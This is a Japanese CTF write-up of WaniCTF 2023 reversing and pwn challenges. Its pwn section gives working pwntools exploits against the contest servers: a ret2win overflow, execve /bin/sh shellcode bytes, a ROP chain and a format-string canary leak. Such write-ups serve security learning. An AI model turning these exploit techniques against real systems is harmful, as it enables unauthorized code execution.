WaniCTF 2023 revとpwn少し

# WaniCTF
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/ba1c74dc-515f-ad1f-6df1-24b7ffbfa232.png)
開催ありがとうございました。とても楽しかったです。ソロで参戦して49位でした。上位の人々のすごさを改めて感じました。

# rev
## Just_Passw0rd
>121pt 544solved
Beginner

バイナリファイルが配布されています。とりあえず含まれている文字列にフラグがないかを確認してみましょう。
```
strings just_password|grep FLAG
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/eda727a5-f218-658b-8dec-2231a1d5c1e7.png)

```
FLAG{1234_P@ssw0rd_admin_toor_qwerty}
```

## javersing
>132pt 348solved
Easy

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/1bc87c1b-4063-a195-73e0-c657b81e5c13.png)
jarファイルが配布されています。こういうのはまあデコンパイルしたら何かが分かると思います。
でコンパイラには以下を使いました。
http://www.javadecompilers.com/

```java:javersing.java

// 
// Decompiled by Procyon v0.5.36
// 

public class javersing
{
    public static void main(final String[] array) {
        final String s = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s";
        boolean b = true;
        final Scanner scanner = new Scanner(System.in);
        System.out.println("Input password: ");
        final String replace = String.format("%30s", scanner.nextLine()).replace(" ", "0");
        for (int i = 0; i < 30; ++i) {
            if (replace.charAt(i * 7 % 30) != s.charAt(i)) {
                b = false;
            }
        }
        if (b) {
            System.out.println("Correct!");
        }
        else {
            System.out.println("Incorrect...");
        }
    }
}

```


`Fcn_yDlvaGpj_Logi}eias{iaeAm_s`という文字列を見るとなんだか13文字ごとに取っていった文字列がフラグになりそうなので、とりあえずsolverを書きます。

```python:solver.py
s="Fcn_yDlvaGpj_Logi}eias{iaeAm_s"

for i in range(30):
    print(s[(i*13)%30],end="")
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/29e0fd97-aaf5-38ba-419b-3d15f0ca3128.png)
でました。
```
FLAG{Decompiling_java_is_easy}
```

## fermat
>141pt 263solved
Easy

バイナリファイルが配布されます。解き方はいろいろあると思いますが、ここではgdbでデバッグしながら動かして解析します。

```
gdb fermet
```

進めていくと以下のような処理が見つかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/f08069bb-5008-0eb0-2bf7-93e6593e8365.png)

`print_flag`を呼び出しているところに飛べば勝ちです。`rip`にアドレスを入れてprint_flagを実行しましょう。
```
set $rip=0x5555555554d5
next
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/53aba31f-3631-9ba8-1f0d-05f0687d5595.png)

```
FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}
```

## theseus
>173pt 136solved
Normal

challが配布されています。本番中はごり押しで解析したのですがここでは`angr`を使って解析します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/be21fbc0-3ac7-1252-2cb5-9f9bf835374f.png)

```python:solver.py
import angr

p= angr.Project("chall", auto_load_libs=False)

state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

def correct(state):
    if b"Correct!" in state.posix.dumps(1):
        return True
    return False

def failed(state):
    if b"incorrect" in state.posix.dumps(1):
        return True
    return False


simgr.explore(find=correct, avoid=failed)


print(simgr.found[0].posix.dumps(0))

```

`angr`仕組みはよくわかってないが便利

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/e58d9f1e-4d91-2d83-f69d-daddd9902cf8.png)

```
FLAG{vKCsq3jl4j_Y0uMade1t}
```

## web_assembly
>213pt 77solved
Hard

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/ee20e6ef-b475-cd8b-7a4d-d856962b8e2a.png)
こんなサイトがある。
検証ツールからSourceを見ると`index.wasm`がある
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c5269e41-877d-b0fb-ea4c-616aaada8fdd.png)

一番下のほうに定数の文字列が置いてあった。その中にはフラグの断片らしき文字列もある。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/8afa80ab-9ea7-2356-5889-1a09d4e7c8bc.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/511f5ee8-8a01-5d95-b8b8-e233ac872393.png)

適当に組み合わせてフラグを作ろうと思ったが無理だったので、それらしい文字列をアプリに入力したらフラグが出た。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/128669f1-6ebe-d79a-5c03-bbf9230e44f6.png)



## Lua
>222pt 69solved
Easy

難読化されたLuaを渡される。読めたものじゃない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/099add52-68b3-c4fd-678f-49a92a67972f.png)

ソースコードをいじることができるので、よく使われてそうな関数の引数と戻り値を`print`で表示させるようにした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3d1c21cc-4654-aaf7-249d-863c9045c5f3.png)

実行するとフラグが見える。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3bdcbf77-f13c-f919-9a4c-bc59e1e5f9aa.png)

```
FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}
```

# pwn
## ret2win
>150pt 209solved
Easy

```c:chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 48

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void win() {
  asm("xor %rax, %rax\n"
      "xor %rsi, %rsi\n"
      "xor %rdx, %rdx\n"
      "mov $0x3b, %al\n"
      "mov $0x68732f6e69622f, %rdi\n"
      "push %rdi\n"
      "mov %rsp, %rdi\n"
      "syscall");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's overwrite the target address with that of the win function!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}
```

こんな感じのソースコードとバイナリが渡されます。以下のようにmain関数のローカル変数にバッファオーバーフローがあります。
```c
#define BUF_SIZE 32 //実際に確保される配列の長さ
#define MAX_READ_LEN 48 //実際に読み込まれる文字数
～略～

int main() {
  init();

  char buf[BUF_SIZE] = {0};

～略～
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/8a4fe2b1-c7fe-e229-ec25-0fc917627d2c.png)
スタックプロテクターは無効なので、これを利用しretアドレスに`win`関数のアドレスを上書きします。

```python:solver.py
from pwn import *

io=remote("ret2win-pwn.wanictf.org",9003)
elf=ELF("./chall")

io.recvuntil(b">")

io.send(b"a"*40) #確保された32バイト分+ベースアドレス8バイト分のパディング

io.send(p32(elf.symbols['win'])+b"\x00"*4) #リターンアドレスを上書きする。

io.interactive()
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/03223f45-7be4-116d-9e03-f39d36de62ea.png)

```
FLAG{f1r57_5739_45_4_9wn3r}
```

## shellcode_basic
>156pt 185solved
Normal

```c:chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  char code[1024];
  printf("Enter shellcode: ");
  fgets(code, sizeof(code), stdin);
  void (*shellcode)() = (void (*)())code;
  shellcode();
  return 0;
}
```
以上のように入力されたデータをx86_64の機械語として実行するファイルが渡されます。

とりあえずx86_64でシェルを実行するアセンブラコードを書きます。
```python
.global main
.intel_syntax noprefix

main:
        xor rax,rax #
        xor rdx,rdx #rdxを0(NULL)にする
        xor rsi,rsi #rsiを0(NULL)にする

        mov r12, 0x68732f6e69622f #/bin/shをr12レジスタを介しスタックに入れる
        push r12
        mov rdi,rsp #syscallの引数としてrdiにスタックの先頭アドレス（/bin/sh）を入れる
        mov rax, 59 #raxに59を入れる。(execveを指定する)
        syscall #syscallを呼び出す。
```

https://filippo.io/linux-syscall-table/

```
gcc -c shellcode.s -o shellcode
```
でコンパイルしテキストセクションのデータを取り出します。
```
objdump -d -M intel shellcode
```
とかでテキストセクションのデータを頑張って取り出すか`texthex`という便利なツール((ステマ))を使い取り出します。

```
texthex shellcode.o -s
\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
```
https://github.com/trimscash/texthex

以下のようなsolverを書いてシェルコードを注入してやります。
```python:solver.py
from pwn import *

pc = remote("shell-basic-pwn.wanictf.org",9004)
# pc = remote("",)
shell_code = b"\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
pc.sendline(shell_code)
pc.interactive()
```

シェルをとれました！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/79265d34-d4c9-83a5-0104-bb837cddb33f.png)


```
FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
```


## beginners ROP
>178pt 124solved
Normal

```c:main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
  asm("mov %rsp, %rdi\n"
      "add $0x8, %rsp\n"
      "ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's practice ROP attack!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}
```
以上のファイルに以下のようにバッファオーバーフローがあります。
```
#define BUF_SIZE 32 #確保されたバイト数
#define MAX_READ_LEN 96 #実際に入力されるバイト数
```

スタックプロテクタも無効なのでリターンアドレスを自由に変更できます。問題名の通り`ROP`で任意コード実行します。
`ROP`とはretアドレスに、ある命令とret命令がセットになった、`ROP Gadget`と呼ばれるコード片のアドレスをセットし、リターンを繰り返し任意のコードを実行する手法です。

ROP Gadgetを見つける方法はたくさんありますが、今回はradare2を使って探しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/5fce5d5a-5d72-c9a4-3981-e50de4cc63da.png)
```
  0x00401371                 58  pop rax #探したい命令と
  0x00401372                 c3  ret #ret命令
```
以上のように必要なコード片を集めて以下のようなそる場を書きます。やっていることは`shellcode_basic`のシェルコードと同じです。

```python:solver.py
from pwn import *

io=remote("beginners-rop-pwn.wanictf.org", 9005)


xor_rdx=p64(0x0040138d)
xor_rsi=p64(0x0040137e)

mov_rdi_rsp=p64(0x0040139c)

pop_rax=p64(0x00401371)
pop_rbp=p64(0x004013b3)

syscall=p64(0x004013af)

payload=b"p"*40

payload+=xor_rdx
payload+=xor_rsi

payload+=mov_rdi_rsp
payload+=b"/bin/sh\x00"

payload+=pop_rax
payload+=p64(59)

payload+=syscall

payload+=b"\00"*(96-len(payload))

print(payload)

io.sendline(payload)

io.interactive()
```


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/de1fc812-edc5-f739-684f-e9be2366db1f.png)

```
FLAG{h0p_p0p_r0p_po909090p93r!!!!}
```


## Canaleak
>187pt 109solved
Normal
```c:chall.c
#include <stdio.h>
#include <stdlib.h>

void init() {
  // alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
  char nope[20];
  init();
  while (strcmp(nope, "YES")) {
    printf("You can't overwrite return address if canary is enabled.\nDo you "
           "agree with me? : ");
    scanf("%s", nope);
    printf(nope);
  }
}
```

これはnopeにはいくらでも入力できるので明らかなバッファオーバーフローがあるのでリターンアドレスを`win`に書き替えれば勝ちです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/26d0f289-4851-b4f6-620a-e8fad676a72c.png)
ですが、今回はスタックプロテクタが有効なので少し工夫する必要があります。
スタックプロテクタとはつまりベースポインタとリターンアドレスの前に適当な値(canary)を入れて置きその値が書き換わっていたら強制終了するものです。なのでこのcanaryを何とか取得してしまえば問題なく書き替えることができます。

ではどうやってcanaryをリークするのか、今回配布されたプログラムには以下のようにユーザーが編集できる文字列のアドレスを直接printfに渡しています。これは`書式文字列攻撃`につながります。
```c
printf(nope);
```

例えば
```
char nope[100]="%p%p%p%p%p%p%p%p%p";
printf(nope);
```
このように`nope`に書式文字列を入れると`printf`を呼び出した時のレジスタの値（5個分）と、スタックの値（4個分）がアドレスとして表示されてしまいます。
これを利用すると`canary`をリークできます。

```python:solver.py
from pwn import *

io=remote("canaleak-pwn.wanictf.org", 9006)
#io=process("chall")
#io=gdb.debug("./chall", '''
#    break main
#''')

io.recvuntil(b"Do you agree with me? :")

io.sendline(b"%p"*9)

res=(io.recvline())

print(res)

canary=res[-17:-1]

print(canary)

canary=p64(int(canary,16))
win=p64(0x401242)

io.sendline()
io.recvuntil(b"Do you agree with me? :")

payload=(b"a"*24+canary+b"b"*8+win)
print(payload)

io.sendline(payload)
io.sendline(b"YES")

io.interactive()
```

実行するとシェルが取れます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/06f7479b-35b3-3776-b5ee-1611c3798e6d.png)

```
FLAG{N0PE!}
```

# 以上
読んでいただきありがとうございました。かなり稚拙なwriteupですが誰かの役に立てば幸いです。
改めて楽しかったです。開催ありがとうございました!

https://filippo.io/linux-syscall-table/

https://github.com/trimscash/texthex